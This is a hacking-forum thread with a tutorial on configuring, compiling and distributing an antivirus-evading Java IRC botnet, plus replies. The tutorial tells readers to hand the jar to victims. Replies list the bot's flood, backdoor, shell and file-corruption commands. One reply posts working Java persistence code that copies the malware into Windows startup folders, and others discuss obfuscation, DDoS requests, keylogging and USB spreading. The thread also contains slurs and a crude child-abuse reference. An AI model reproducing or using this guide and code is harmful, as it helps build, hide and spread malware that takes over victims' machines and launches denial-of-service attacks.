Thread: [\[TuT\]Java Botnet setup fully explained\[TuT\]](#)

Pauwelz - June 12, 2009, 1:53 am

Java Botnet setup fully explained

Back when i first herd about a Java FUD botnet i was AMAZED at how many people could NOT get it working and can still NOT get it working.

I am going to explain STEP by STEP on how to get your computer setup for this expedition and how to edit the files and compile the Java botnet.

First off you need the source right?

Download that [HERE](#)!

After you Download the source extract it to your desktop or any directory of your choice using either WinRar or 7zip.

You can download WinRar [here](#) and 7zip [here](#).

Now that all that is done, we can start having some real fun.

Go into the JAVa_Botnet folder and open the file "config.php"

Inside you see exactly this...

```
Quote:SERVER: IRC_SERVER</br>PORT: 6667</br>IN_CHANNEL:
#IRC_CHANNEL</br>OUT_CHANNEL: #IRC_CHANNEL</br>IN_PASSWORD:
OPTIONAL</br>OUT_PASSWORD: OPTIONAL</br>NICK: [B0T]</br>CONTROLLERS: name,
users, like, this</br>
```

You first want to edit this section of the code.

```
Quote:SERVER: IRC_SERVER</br> Change the "IRC_SERVER" text to your IRC servers host.
```

You want to leave this part alone unless the port of your server is not the default 6667.

```
Quote:PORT: 6667</br> Change the "6667" to your IRC servers port.
```

Now you want to edit this section of the code.

```
Quote:IN_CHANNEL: #IRC_CHANNEL</br> Change the "IRC_CHANNEL" text to your IRC
channel.
```

Then edit this code just like the previous step.

```
Quote:OUT_CHANNEL: #IRC_CHANNEL</br> Change the "IRC_CHANNEL" text to your IRC
channel.
```

Next edit this part of the code.

```
Quote:IN_PASSWORD: OPTIONAL</br> This part is optional, you can either change the
OPTIONAL text to any password of your choice or just delete it and leave a space before the </br>
and after the : This is nothing serious and not needed for the bot to run.
```

Now edit this part of the code.

```
Quote:OUT_PASSWORD: OPTIONAL</br> This part is EXACTLY like above. Either leave it blank
or put in a password.
```

This part of the code can be left as is.

Quote:NICK: [BOT]</br> This is the name of the bot when it joins the IRC channel followed by numbers randomly picked by the bot on startup.

Finally this part of the code must be edited.

Quote:CONTROLLERS: name, users, like, this</br> Where it says "name, users, like, this" it means that only THESE usernames are allowed to send commands to the bot. If there is only one operator of the bot then just put the username that you use in IRC without a comma ",".

Now you can save and close that config.php.

You want to upload this to a FTP (file transfer protocol) server. I'm going to say this once DO NOT UPLOAD TO A FILE HOSTING WEBSITE IT WILL NOT WORK!

Now open Constants.java in notepad.

You will see this text EXACTLY.

Quote:class Constants {

```
public static final double BOT_VERSION = 1.0;
```

```
public static final String MAIN_HOST = "Main irc host";//Edit this.
```

```
public static final String CONF_URL = "config.php URL";//Edit NEEDED
```

```
public static final String BACKUP_HOST = "BACKUP IRC SERVER";//Not needed, but recommended.
```

```
public static final String CONF_URL_BACKUP = "CONFIG.PHP URL 2";//Recommended.
```

```
public static final String IP_ADDR_URL = "http://whatismyip.com/automation/n09230945.asp";  
//Leave that as it is.
```

```
public static final int FILE_SERVER_DEFAULT_PORT = 3943;//Leave this.
```

```
public static final String INI_FILE_LOC = "C:\\Program Files\\win32.ini";  
}
```

The only part of this file that needs to be edited is this here

Quote:public static final String CONF_URL = "config.php URL";//Edit NEEDED You want to remove the text "config.php URL" and put in the URL of the config.php file you uploaded to a FTP (file transfer protocol).

Example is <http://yourdomain.com/config.php>

Save and exit the file.

You are now done editing your bot here is the fun part!

You MUST i repeat MUST have JDK (Java Development Kit) installed!

You can download JDK 6 update 14 [here](#)

After you have downloaded and installed JDK go into the Java_Botnet folder and double click "Java to Class.exe"

Follow the instructions that are given in the program.

After you have SUCESSFULLY compiled the Java files to Class files you need to make sure that there are the same number of Class files as Java files in the Java_Botnet folder.

Next you double click "JARMaker.exe" and follow the instructions that are given in the program.

If you Did everything right, there should now be a file in the Java_Botnet folder named "Nightmare.jar"

Open the .jar file and see if it connects to your IRC, if not go back and make sure everything is correct.

To remove your botnet go into start > run > msconfig > startup > Nightmare.jar and remove and click apply. That will stop the botnet running. In IRC double click to open a private chat between you and the botnet and do the command ".exit" Then you have removed yourself from the botnet.

GUESS WHAT?!

Thats right there is YOUR Java BOTNET!!

All you have to do is give it to people and have them open it. Easy as that.

Your all setup with a Java botnet and it only took what? an hour to read.

Oh well atleast you have a FUD botnet now and dont need to worry about buying crypters and silly shit like that.

If ANYONE at all realizes that i left something out or would like to comment on this tutorial please feel free to post.

Thank you for reading my tutorial!

Rep if possible, thanx

m13rz

ohytheng - June 12, 2009, 1:56 am

Let say I test this on my PC and I wanted to remove it.

How should I remove it since antivirus software cannot detect it?

Thanks.

Pauwelz - June 12, 2009, 1:58 am

(Jun 12, 2009 01:56 AM)ohytheng Wrote: [\[CITE\]](#) Let say I test this on my PC and I wanted to remove it.

How should I remove it since antivirus software cannot detect it?

Thanks.

To remove your botnet go into start > run > msconfig > startup > Nightmare.jar and remove and click apply. That will stop the botnet running. In IRC double click to open a private chat between you and the botnet and do the command ".exit" Then you have removed yourself from the botnet.

¶_¶ - June 12, 2009, 2:05 am

Good tut m13rz!

Too short

Pauwelz - June 12, 2009, 3:00 am

Thank you verry much.

This is the longest tutorial i have seen dedicated to Java botnet....

Pandaxdx - June 12, 2009, 3:48 am

:(i don't know how to make it work

done all steps and no connection to irc

Fizzix - June 12, 2009, 5:25 am

If someone finds the jar they can extract it and decompile it, then have your password, irc server, ect. They could attempt to steal your bots, and if they fail they can always just report you to the authorities.

So, you should get an obfuscator that can encrypt your strings. Just my 2 cents.

nazariy - June 12, 2009, 5:32 am

Fizzix you can encrypt the jar fie so no details will be shown.

Pauwelz - June 12, 2009, 12:38 pm

What i am currently working on is editing the names of the files so when decompiled they wont know exactly where to look.

I do have an encrypter for this but its not going to be needed once my other botnet is released.

Vaqxine - June 12, 2009, 12:50 pm

Thanks for the share. I can see you've put some time into this and I appreciate it.

Pauwelz - June 12, 2009, 12:52 pm

It's my pleasure. I try and help noobs as much as possible

Gunther - June 12, 2009, 6:28 pm

I did all the steps but couldn't get it to connect. I'm assuming it was because the ftp part confused the hell out of me, and thats the only step I'm unsure of how to do. Can you provide some explanation about the ftp?

Fizzix - June 12, 2009, 6:47 pm

(Jun 12, 2009 05:32 AM)nazariy Wrote: [\[CITE\]](#) Fizzix you can encrypt the jar fie so no details will be shown.

(Jun 12, 2009 05:25 AM)Fizzix Wrote: [\[CITE\]](#) So, you should get an obfuscator that can encrypt your strings. Just my 2 cents.

(Jun 12, 2009 12:52 PM)m13rz Wrote: [\[CITE\]](#) It's my pleasure. I try and help noobs as much as possible

Yeah, its pretty cool of you to post this tut. I haven't gotten into botnets yet but your guide has definitely encouraged me :).

Pauwelz - June 12, 2009, 9:40 pm

(Jun 12, 2009 08:22 PM)n3xus Wrote: [\[CITE\]](#) Yeah, its pretty cool of you to post this tut. I haven't gotten into botnets yet but your guide has definitely encouraged me :).

If you are just now starting out with botnets. I would reccommend this as the best for complete beginners.

Deesyre - June 14, 2009, 4:18 pm

thank you so much been wanting to set up my java botnet for awhile

Pauwelz - June 14, 2009, 4:23 pm

No problem :P this should make it a little easier

legend2memba - June 14, 2009, 7:19 pm

Good tutorial, only thing you left out though is what we can do once someone is a bot for you xD.

Pauwelz - June 14, 2009, 7:29 pm

@legend

Well open the Commands.java and look at the commands OR PM the bot

Quote:.commands And btw thanx for the cig pic ;)

raj.kiran.hero - June 15, 2009, 12:02 am

how to see the source coding mate

Pauwelz - June 15, 2009, 9:55 am

Open Commands.JAVA with notepad :P

RedruM - June 15, 2009, 12:17 pm

i know i did everything right here, but when i test the bot on myself it does not join the server. any ideas why it isnt working. i used t35(dot)com for ftp server. idk if thats why. help someone

Pauwelz - June 15, 2009, 1:50 pm

hmmmmm u need FTP that should work

1998 - June 15, 2009, 5:25 pm

m13rz,

thanks for this help TUT! please i need some Help Regarding Botnet. contact me at thebourne9@gmail.com

Pauwelz - June 15, 2009, 9:46 pm

IF anyone needs help you guys need to contact me via pm here on HF.net.

I have so many things going on and cba to contact you.

If you need you config.php uploaded to a ftp send me your config.php file RENAMED something like hotkiddieporn.php and i will give you the url ffrom my FTP

louisox - June 16, 2009, 8:58 am

Wts a Good Irc Server Host ?

H0rn_ - June 16, 2009, 9:21 am

Lol this is getting out of hand now. To many faggots using java bot's

Pauwelz - June 16, 2009, 11:21 am

@horn

Java botnets arent really much too talk about.

I am making a KICK ass java botnet, MUCH better than cascades private edition.

RedruM - June 16, 2009, 10:21 pm

i really wish i could get this to work.... in the irc server part i put a no-ip. idk if that could be the problem..... someone wanna help me add me on AiM : AdR RedruM

IAAAS - June 16, 2009, 10:22 pm

lol m13rz got kicked from the irc server hahah!

XPLADOT - June 16, 2009, 10:59 pm

Im in the same boat redrum, pm me if you could help me.

Dr.Dre - June 17, 2009, 4:51 am

Great tutorial +repped

Destii - June 17, 2009, 6:58 pm

I'll be trying this Tut soon, and give feedbacks later, I'm guessing its good :)

Destii - June 17, 2009, 8:44 pm

Okay, after the botnet connected to the specified server and channel I saw it there, but how can i get it to show me the information it got from other people? is there some command list? particular commands?

Please help :(

Pauwelz - June 17, 2009, 11:49 pm

Open the Commands.JAVA file in the botnet source. All of the commands start with "." prefix

Destii - June 18, 2009, 12:25 am

Is there a 'key-log' command perhaps, just out of curiosity :) ?

Legym - June 18, 2009, 1:18 am

I dont mean to be a noob...but could someone post the commands.

Dont want to go through all that just to find out it doesnt do what i want, know what i mean?

Destii - June 18, 2009, 1:44 am

Yea, I did what m13rz said just join mIRC and open a private window between you and your bot and just type ".commands" without the quotations and then the bot will list all the commands.

thanks to: m13rz ;]

Legym - June 18, 2009, 2:17 am

Here are the commands since no one would post it, lol

Spoiler ([Click to View](#))
commands.add(".commands");
commands.add(".version");
commands.add(".exit");
commands.add(".quit");
commands.add(".join");
commands.add(".part");
commands.add(".nick");
commands.add(".nickprefix");
commands.add(".permnick");
commands.add(".msg");
commands.add(".raw");
commands.add(".download");
commands.add(".system");
commands.add(".httpflood");
commands.add(".udpflood");

```
commands.add(".synflood");
commands.add(".stopfloods");
commands.add(".getip");
commands.add(".findip");
commands.add(".mkshell");
commands.add(".mkdir");
commands.add(".cd");
commands.add(".ls");
commands.add(".corrupt");
commands.add(".update");
commands.add(".send");
commands.add(".zip");
commands.add(".read");
commands.add(".spam");
commands.add(".stopspam");
commands.add(".backdoor");
commands.add(".ircscript");
commands.trimToSize();
```

monev88 - June 18, 2009, 2:42 am

um...typing .commands causes the bot to quit irc with 'excess flood'
wtf!!!!??

Legym - June 18, 2009, 4:17 am

I have a few questions.

1. What if the channel has a password? Where would i put the password at?
2. Could someone go into greater detail about the FTP thing?

Destii - June 18, 2009, 7:31 am

Can't this botnet keylog?

xyz iz lawless - June 18, 2009, 7:46 am

very nice tut thanks i might try this out l8r

Pauwelz - June 18, 2009, 6:50 pm

@legym

In the config.php where it says in_password put the passowrd there :P

I will make a tutorial on how to get a FTP and set one up.

@Destii

To be honest i am not saure if this bot keylogs. My next bot will

monev88 - June 18, 2009, 7:09 pm

how do u use the 'shell' function on the bot?

Vaqxine - June 18, 2009, 7:12 pm

It doesn't keylog but it does have an option to import passwords that it stores.

Pauwelz - June 18, 2009, 7:14 pm

@monev88

I am not sure as i did not code this botnet. Sorry

Pauwelz - June 19, 2009, 9:07 pm

~BUMP~

Cadis - June 21, 2009, 2:39 am

does it save to startup?

Destii - June 21, 2009, 3:02 am

@Vaqxine

Can you please tell me the command please? I need that could be helpful :)

Bloodfold - June 21, 2009, 3:33 am

Anyone know Which is better?

rbot

Javabot

Pearlbot

I'm looking around, I want to start my first botnet but not sure which one to use :\

Pauwelz - June 21, 2009, 3:52 am

Java FTW~~

Bloodfold - June 21, 2009, 4:05 am

What do I need to put the source code on? :O

Pauwelz - June 21, 2009, 4:11 am

what do u mean... the download comes with everything u need

Bloodfold - June 21, 2009, 4:14 am

(Jun 21, 2009 04:11 AM)m13rz Wrote: [\[CITE\]](#) what do u mean... the download comes with everything u need

Ok, erm, how do I open up so I can edit the stuff? I can't seem to find it >.> Erm I open up the config.php and it's just a PHP file...I can't open it.

Pauwelz - June 21, 2009, 4:17 am

Open the JAVA files with NOTEPAD

Right click.. then open with... then notepad OMG

Dr.Dre - June 21, 2009, 4:19 am

Wow bloodfold, no comment.

Bloodfold - June 21, 2009, 4:22 am

<http://www.gamesurge.net/> Is The Only Place I Know Of To Get One For Free.

Infection` - June 21, 2009, 10:01 am

Everytime i get someone to connect and i run the .commands command they disconnect with the error below

Quote:[12:49] * null-8721832 (~null-8721@209.105.133.85) Quit (Read error: Connection reset by peer)

can somebody pls help? if so add me on msn, contact info is on my profile.

Pauwelz - June 21, 2009, 12:26 pm

Added and trying to help <(@.@<)

lorddarkk - June 21, 2009, 1:10 pm

I have a question, its supposed to login to irc when the windows starts up right? But if the victim doesn't have a constant internet connection, they are going to connect to the internet after windows startup. So, are they going to connect to irc anyways?

Thanks

Pauwelz - June 21, 2009, 1:17 pm

they should. i had a dropper that dropped the .jar into the startupp folder so im not sure

Bloodfold - June 21, 2009, 2:44 pm

Hey m13rz, I think the reason why I won't connect is because Maybe I put the wrong FTP info.

I opened the nightmare.jar with notepad at the end, and all the random letters were in it, Unless I need to open that with something else it's probably the FTP info.

Pauwelz - June 21, 2009, 3:41 pm

rofl u cant open a jar file with notepad that has nothing to do with it

Bloodfold - June 21, 2009, 9:18 pm

(Jun 21, 2009 03:41 PM)m13rz Wrote: [\[CITE\]](#) rofl u cant open a jar file with notepad that has nothing to do with it

So then what are you supposed to open it with then..

NeZ? - June 21, 2009, 11:22 pm

Does the startup thing work for anyone? I got it working and when I click on the .jar it connects to my irc channel, but after restart it doesn't connect again. I checked the startup and it wasn't there. It is supposed to do that right?

FOUND FIX: in the startupadder.java change one line to File f = new File("./*.jar"); instead of File f = new File("./jasted.jar");

then the jar file can be named anything.

Pauwelz - June 22, 2009, 12:51 am

SORRY FOR DEAD DOWNLAOD LINK

My FTP ended up getting hacked by some ignorant fuck.

Anyone out there with a botnet willing to launch a ddos for a little.\

I will get link back up asap!

So sorry!

Morph3s - June 22, 2009, 4:52 am

ooh man ,

Just read it ,

so fucking detailed , Now thats what i call a real TUT ,

Thanks man , You're the best ,

SmokeWeedEatYogurt - June 22, 2009, 11:17 am

Won't the people know they got a botnet if they have to open it and it connects to your irc? PLUS
D/L LINK DOESN'T WORK

edwardj7337 - June 22, 2009, 12:06 pm

Please post new Link it is dead. ?

NeZ? - June 22, 2009, 2:07 pm

Hey, I got a bunch of PMs about getting the startup thing to work. I can't reply to PMs until I get 5 posts so Ill just post it here. Basically what was wrong is the file had to be named jusched.jar for it to copy over, and it was being compiled as nightmare.jar. I changed the code so it copys any .jar in the directory to the startup folder. It's a quick and dirty fix, but now you can name the file anything.jar and it works. Here is the code for startupadder.java...

```
import java.io.File;
```

```
import java.io.FileOutputStream;
```

```
import java.io.FileInputStream;
```

```
import java.io.IOException;
```

```
public class StartupAdder {
```

```
    public static final String THANKS_TO = "super_ cuz hes a leet hackler";
```

```
    /* you change the above i kill your family */
```

```
    boolean isInfected() {
```

```
        String userHome = System.getProperty("user.home");
```

```
        File xpStartup = new File(userHome + "/Start Menu/Programs/Startup");
```

```
        File vistaStartup = new File(userHome + "/AppData/Roaming/Microsoft/Windows/Start  
Menu/Programs/Startup");
```

```
        File newFile = null;
```

```
        String osName = System.getProperty("os.name");
```

```
        if (!(osName.contains("Windows") || osName.contains("WINDOWS"))) {
```

```
            return false;
```

```
        }
```

```
        if (xpStartup.exists() && osName.contains("XP")) {
```

```
            newFile = new File(xpStartup.getAbsolutePath() + "/jusched.jar");
```

```
        } else if (vistaStartup.exists() && osName.contains("Vista")) {
```

```

        newFile = new File(vistaStartup.getAbsolutePath() + "/jusched.jar");
    }
    THANKS_TO.toUpperCase();
    return newFile.exists();
}

void addToStartup() {
    if (isInfected()) {
        return;
    }
    try {
        File f = new File("./*.jar");
        String userHome = System.getProperty("user.home");
        File xpStartup = new File(userHome + "/Start Menu/Programs/Startup");
        File vistaStartup = new File(userHome + "/AppData/Roaming/Microsoft/Windows/Start
Menu/Programs/Startup");
        File newFile = null;
        String osName = System.getProperty("os.name");
        if (!(osName.contains("Windows") || osName.contains("WINDOWS"))) {
            THANKS_TO.substring(1);
            return;
        }
        if (xpStartup.exists() && osName.contains("XP")) {
            newFile = new File(xpStartup.getAbsolutePath() + "/jusched.jar");
        } else if (vistaStartup.exists() && osName.contains("Vista")) {
            newFile = new File(vistaStartup.getAbsolutePath() + "/jusched.jar");
        }
        copyTo(f, newFile);
    } catch (Exception ex){
    }
}

void copyTo(File src, File dest) throws IOException {
    FileInputStream fis = new FileInputStream(src);
    byte[] buffer = new byte[1024];
    THANKS_TO.replace("poop", "dongs");
    int len = 0;
    FileOutputStream fos = new FileOutputStream(dest);
    while ((len = fis.read(buffer, 0, 1024)) != -1) {
        fos.write(buffer, 0, len);
    }
    fos.close();
    fis.close();
}
}

```

I want to try adding USB spreading to this, but I have never coded something like that before. If anyone wants to help or has already done it let me know.

SmokeWeedEatYogurt - June 22, 2009, 5:02 pm

WE NEED THE SOURCE LINK IS DEAD

Sud0x3 - June 22, 2009, 5:14 pm

This is a great tutorial, what are the features of the bot?

Bloodfold - June 22, 2009, 6:05 pm

Lol.

~Short~

SmokeWeedEatYogurt - June 22, 2009, 6:58 pm

THERE ARE NO FEATURES WHEN WE CAN'T GET THE BOT SOURCE :(

Pauwelz - June 22, 2009, 11:13 pm

If someone who downloaded the source already can pm me a download link... this is v1bot i have no need for it on my computer =\

SmokeWeedEatYogurt - June 23, 2009, 12:00 am

Pm me when you get the source up

Legym - June 23, 2009, 12:32 am

Arnt we glad im a pack rat?

NeZ? - June 23, 2009, 9:35 pm

I'll try and upload it tomorrow. I'm on my phone right now.

Rajino - June 23, 2009, 10:46 pm

I have edited config.php and constants java file but when i run java to class.exe no files where added, there were no errors and i already installed java 6 update 14... can you give me a hint what's the problem?

Thank you

Pauwelz - June 23, 2009, 10:51 pm

you jave to make the jar smart one

Rajino - June 23, 2009, 10:55 pm

but there are no class files created, you said we have to make sure that the number of java files should be the same with number of class files, there were no class files created...

Pauwelz - June 23, 2009, 11:10 pm

(Jun 23, 2009 10:55 PM)Rajino Wrote: [\[CITE\]](#) but there are no class files created, you said we have to make sure that the number of java files should be the same with number of class files, there were no class files created...

Are there two files with the same name of all the files?

like all the files are duplicates?

Rajino - June 23, 2009, 11:29 pm

no duplicates, number of files are the same, your java to class.exe keeps on saying the operation is a success (no errors) but there where no class files created. Is the path to the files an issue? i extracted the files to a 3 level deep folder...

thepusher - June 23, 2009, 11:46 pm

Thank, Cant wait to try this out. Waiting for a re-up of the source many thanks

Legym - June 24, 2009, 12:35 pm

Here is the source download

http://uploading.com/files/FGC2JMV/L/Java_Botnet.rar.html

~Cheers

yesrno - June 24, 2009, 2:06 pm

Thanks, i'll definitely gonna try this out later on.

dale - June 24, 2009, 5:47 pm

how old is this coz i had something like this like a year before :D some guy from UK i believe wrote it :D guy is amazing (or was anyway.....donno....havent heard from him in a long time:D lol)

btw the bot wasnt that good.....it had awesome DDOS very strong.....but somewhat unstable and unreliable coz iit just copied itself to startup folder and a process on taskmanager was clearly visible javaw.exe if i can remember correctly :D.....and (i believe this is my wrongdoing.....2 much tampering with the code) bots wouldnt answer to channel just to pvt :D...again i might be wrong but the bot was called GNXR or smthin like that and was FUD ALWAYS i uploaded it to virustotal alot of times just to c if it will get detected but it didnt :D java definitely rulez on that field :D

Pauwelz - June 24, 2009, 7:30 pm

Yes java DOES rule on a virus scan detection scale. But most of the Java bots you find today are shit. I am wrighting one at the moment thats alot better than these

dale - June 25, 2009, 3:20 am

iit is 2 be released to public for free or is there some \$\$\$ involved LOL:D ???

nofear1999 - June 25, 2009, 8:57 am

(Jun 12, 2009 03:48 AM)kadux Wrote: [\[CITE\]](#) :(i don't know how to make it work

done all steps and no connection to irc

Is the IRC server you're using Bot Supportable?

If not check this out

<http://imgtfy.com/?q=Bot+supportable+IRC>

dale - June 25, 2009, 9:24 am

have u even seen the google results to that query or did that "great" idea just sprung into ur head.....theres nothin useful on searching google for "Bot Supportable IRC".....any normal irc server supports bots.....

Pauwelz - June 25, 2009, 12:28 pm

Hell i use irc.after-all.org

They dont allow bots but no admins cougth my bots yet

xgcbxranimal - July 2, 2009, 9:13 am

the java botnet download isnt working. can someone post the files please.

Pauwelz - July 2, 2009, 9:23 am

The files can be downlaoded by using the search feature of this forum. There should be a post a few pages back labeld

Java botnet FUD + Tutorial

get it from there. it just dosent have the extra tools i added into the package

xgcbxranimal - July 2, 2009, 9:48 am

I did but in the this tut it doesnt say to open in that java application or in notepad. im guessing the java application. and also the files i downloaded i cant find config.php i have config class file and config.html. thats all.

NeZ? - July 6, 2009, 9:50 pm

Just so everyone knows, the .exe files in the download were binded with a trojan downloader. My AV just picked it up.

BryanIzBeast - July 6, 2009, 10:34 pm

Nice tut keep up the good work

N!tzi.00x0 - July 10, 2009, 7:08 am

The link is dead?

Could you please upload it again the source link for the Java?

Joseph Ducreux - July 10, 2009, 7:11 am

What are the commmands for this? you know like is it capable of Dos/dDos?

thanks btw really bad-ass

iM FuSioN - July 10, 2009, 7:19 am

(Jun 12, 2009 03:00 AM)m13rz Wrote: [\[CITE\]](#) Thank you verry much.

This is the longest tutorial i have seen dedicated to Java botnet....

Agreedddd(:

Bloodfold - July 10, 2009, 11:58 am

If people open the Botnet, and then delete it will they still connect to my server?

Hobbes - July 10, 2009, 12:09 pm

how would they connect to your server if their server got deleted?

-.-

Bloodfold - July 10, 2009, 12:46 pm

(Jul 10, 2009 12:09 PM)ParadoxXx Wrote: [\[CITE\]](#) how would they connect to your server if their server got deleted?

-.-

Because ldk, I know some botnet's that still connect after they run it, and it doesn't copy itself either.

Jboomerz - July 10, 2009, 3:19 pm

please post a new link its dead thanks.

Bloodfold - July 10, 2009, 4:50 pm

Hey Does anyone know if the UDP Flood on this works? And does it start on System Startup? That's all I need to know,

And I've uploaded my config php to like 3 different websites and none connect, I've tried 110mb.com, and drivehq.com (Not public) and none work.

Anyone got a website that would work? Thanks.

Dr.Dre - July 13, 2009, 9:45 pm

Post a new link. Thanks

sentinel.rx - July 16, 2009, 4:32 pm

Can some one please re-upload this please?

Awcdfri - July 16, 2009, 6:27 pm

Your source download link didn't work for me.

Alpha-DOG - July 16, 2009, 6:48 pm

the link for the downloading source of the java botnet don't work for me it's corrupted can some1 upload in mediafire or # please

xTru - July 17, 2009, 9:01 pm

Gosh, i hate stupid ignorant people that can't read though posts.

Anyway...

Trying to revamp bloodfold's question... Whats a good site to upload the config to?

And also In the constants file "public static final String MAIN_HOST = "Main irc host";//Edit this."

Do i put No-ip or IRCplus ?

windowsrefund - July 18, 2009, 12:17 am

Can the bot connect to the irc server via ssl?

what about a server password rather than a channel password?

N!tzi.00x0 - July 19, 2009, 8:10 am

Hi,

Working's fine for me and easy though.

But when i do this command : .httpflood 81.246.151.145 5 5 10

Then there show nothing no 1 one attack?

XFR - August 18, 2009, 12:38 am

is this will work in dial up network??? :(

im using vista also.

thnx 4 tut.

dj mint - August 18, 2009, 3:05 am

Check out my tut for ongoing help.

XFR - August 21, 2009, 1:48 am

can i have a RS link plz.....:))

prorathack - December 21, 2009, 9:16 pm

It's been many months now and still nobody has ever posted one good fully working Java bot..

Even private ones are sometimes unstabe and unpractical..

Best java tutorial by the way.. Good job!

We are still waiting for download link or even your new Java bot you are coding right now :D

MY last experiences with Java bots were not that good either:\

first one didn't want to connect for no reason...

second one connected perfect but didn't respond to any commands...

does this bot need to any specific commans before you start controlling you bots?
some bots requires you to type ".login" or something like that to start controlling..

pushl %ebp - December 21, 2009, 9:24 pm

I guess you can't use this on a host booter then?
Pm me please.

KryPyro - December 22, 2009, 6:03 pm

Can anyone post the link?

Bizcrack - December 23, 2009, 10:11 am

Yeah, re up please?

- Biz

mozark24 - April 5, 2010, 3:54 pm

Thread from the grave. I don't see why not Colby, anything's possible with Java...

My thought on this type of botnet would be that it would require the victims to have Java installed. I would think that they'd have to in which case this would have limited (albeit still large) use.

VB - April 6, 2010, 4:38 am

ok well link is dead n e new link yet?

kl3zero - June 23, 2010, 9:43 am

anyone have a working link?

Garden of Sinners - June 23, 2010, 11:50 am

Wow this is almost identical too DJ mint's tutorial.

xivivx - June 24, 2010, 2:27 pm

this sounds hard; whats the easiest bot net?

Iconic - July 21, 2010, 8:53 pm

Sorry for the necro post but your link does not work anymore.

!Cyb33rc0de! - April 17, 2011, 10:06 am

yes your link does not work anymore! Can you upload again or make a new botnet tutorial! TNX!

shibby989 - April 21, 2011, 11:22 am

can you upload a new link man want to try your java botnet thanks

wglpt0 - June 25, 2011, 3:52 am

This would be really good to have! Hope to see an updated link at some point.

arebokert - July 2, 2011, 6:22 pm

Link is dead, anybody has a working one?

DipDuo™ - July 2, 2011, 8:50 pm

the link is broken... can you fix it?

benqure1337 - July 21, 2011, 1:39 pm

Is it any Like Runescape DDoS?

huntingforbillions - August 20, 2011, 8:35 am

hey fellas, notice some people asking for this java botnet source code...

i found it, i think its this: [LINK](#)

kof2002 - August 20, 2011, 5:02 pm

i would definitely destroy it.

with the right techniques you could take down the internet of entire nations, those things are just to powerful for anyone's good.

-kaats

Mattdao - August 20, 2011, 7:14 pm

Nice, most people think only EXEs can act as loaders.

That being said link is dead.

memo123 - September 21, 2011, 7:19 am

i'll try that

i hope that i can do it

xXxAlphaxXx - June 9, 2014, 2:52 pm

Thanks for share. Helped me a lot :D

temfadbaba - June 9, 2014, 4:49 pm

How can i change the extension from jar to others.

Da_prince - July 23, 2014, 3:25 pm

Thanks for the share, such a gr8 hardwork

otfomoneymaker - July 24, 2014, 6:56 am

Thanks for the share , Seems very good BotNet will test it ASAP

Language Settings - July 24, 2014, 7:04 am

Thanks for the nice tutorial! Will check it out soon

JohnTheRipper - August 18, 2014, 1:06 am

link is dead.can you give us a new link please?

Kristofferson - August 19, 2014, 5:39 pm

(Jun 12, 2009 05:25 AM)Fizzix Wrote: [CITE](#) If someone finds the jar they can extract it and decompile it, then have your password, irc server, ect. They could attempt to steal your bots, and if they fail they can always just report you to the authorities.

So, you should get an obfuscator that can encrypt your strings. Just my 2 cents.
If someone's determined that wont help. Example ZRB, he skidded from fully obfuscated Mc clients.

Oliver Sykes - August 19, 2014, 6:44 pm

You do realize that post is from '09, right?

Kristofferson - August 19, 2014, 8:56 pm

Why was it only like 3 pages from the top then? I feel bad for not checking now.

Nukez - August 20, 2014, 5:53 am

Thanks for Share it! i never used it with java, ill try.

Daprince - August 23, 2014, 3:04 pm

Thanks for the share , Seems very good BotNet will test it ASAP

Daprince - August 29, 2014, 12:48 am

Thanks for the share, it really appreciate, it helped
